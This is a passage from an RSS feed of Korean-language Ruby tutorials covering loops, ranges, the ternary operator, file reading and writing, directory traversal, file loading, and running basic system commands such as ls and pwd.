&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;rice_on_square&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;times&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;square&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"On square &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;square&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; are &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;rice_on_square&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; grain(s)"&lt;/span&gt;
  &lt;span class="n"&gt;rice_on_square&lt;/span&gt; &lt;span class="o"&gt;*=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="c1"&gt;# 간단한 형태&lt;/span&gt;
&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;times&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"Mice!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  while
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;var&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;var&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;var&lt;/span&gt;
  &lt;span class="n"&gt;var&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Range와 삼항 연산자
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;age&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;
&lt;span class="n"&gt;person&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;include?&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;age&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="s2"&gt;"teenager"&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"not a teenager"&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;person&lt;/span&gt;  &lt;span class="c1"&gt;# "not a teenager"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  each
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;locations&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;each&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;loc&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s1"&gt;'I love '&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;loc&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s1"&gt;'!'&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"Don't you?"&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://dss99911.github.io/programming/ruby/2025/12/28/ruby-control-flow.html" rel="noopener noreferrer"&gt;https://dss99911.github.io&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>programming</category>
      <category>ruby</category>
      <category>controlflow</category>
      <category>if</category>
    </item>
    <item>
      <title>Ruby 파일 처리와 시스템 명령</title>
      <dc:creator>dss99911</dc:creator>
      <pubDate>Wed, 31 Dec 2025 04:41:13 +0000</pubDate>
      <link>https://forem.com/dss99911/ruby-pail-ceoriwa-siseutem-myeongryeong-2c47</link>
      <guid>https://forem.com/dss99911/ruby-pail-ceoriwa-siseutem-myeongryeong-2c47</guid>
      <description>&lt;p&gt;Ruby에서 파일 처리와 시스템 명령 실행 방법을 알아봅니다.&lt;/p&gt;

&lt;h2&gt;
  
  
  파일 읽기
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="no"&gt;File&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'p014constructs.rb'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'r'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;f1&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
  &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;gets&lt;/span&gt;
    &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  파일 쓰기
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="no"&gt;File&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'test.rb'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'w'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;f2&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
  &lt;span class="n"&gt;f2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"Created by Satish&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;Thank God!"&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  파일 인코딩
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="no"&gt;File&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'p014constructs.rb'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'r:UTF-16LE:UTF-8'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;f1&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
  &lt;span class="c1"&gt;# ...&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  디렉토리 순회
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="s1"&gt;'find'&lt;/span&gt;

&lt;span class="no"&gt;Find&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'./'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
  &lt;span class="n"&gt;type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;case&lt;/span&gt;
         &lt;span class="k"&gt;when&lt;/span&gt; &lt;span class="no"&gt;File&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;file?&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt; &lt;span class="s2"&gt;"F"&lt;/span&gt;
         &lt;span class="k"&gt;when&lt;/span&gt; &lt;span class="no"&gt;File&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;directory?&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt; &lt;span class="s2"&gt;"D"&lt;/span&gt;
         &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="s2"&gt;"?"&lt;/span&gt;
         &lt;span class="k"&gt;end&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;: &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  랜덤 액세스
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;File&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"hellousa.rb"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# SEEK_CUR - 현재 위치에서 상대 이동&lt;/span&gt;
&lt;span class="c1"&gt;# SEEK_END - 파일 끝에서 상대 이동 (음수 값 사용)&lt;/span&gt;
&lt;span class="c1"&gt;# SEEK_SET - 절대 위치로 이동&lt;/span&gt;
&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;seek&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;IO&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;SEEK_SET&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;readline&lt;/span&gt;
&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  루비 파일 로딩
&lt;/h2&gt;

&lt;h3&gt;
  
  
  load
&lt;/h3&gt;

&lt;p&gt;파일을 실행할 때마다 포함합니다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="nb"&gt;load&lt;/span&gt; &lt;span class="s1"&gt;'filename.rb'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  require
&lt;/h3&gt;

&lt;p&gt;파일을 한 번만 로드합니다. (확장자 &lt;code&gt;.rb&lt;/code&gt; 생략 가능)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="s1"&gt;'filename'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  require_relative
&lt;/h3&gt;

&lt;p&gt;상대 경로로 파일을 로드합니다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="nb"&gt;require_relative&lt;/span&gt; &lt;span class="s1"&gt;'p030motorcycle'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  시스템 명령 실행
&lt;/h2&gt;

&lt;h3&gt;
  
  
  백틱 사용
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="sb"&gt;`ls`&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  system 메서드
&lt;/h3&gt;

&lt;p&gt;처리 성공 여부를 true/false로 반환합니다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="nb"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"pwd"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  환경 변수
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="no"&gt;ENV&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;each&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;: &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://dss99911.github.io/programming/ruby/2025/12/28/ruby-file-system.html" rel="noopener noreferrer"&gt;https://dss99911.github.io&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>programming</category>
      <category>ruby</category>
      <category>file</category>
      <category>io</category>
    </item>
  </channel>
</rss>
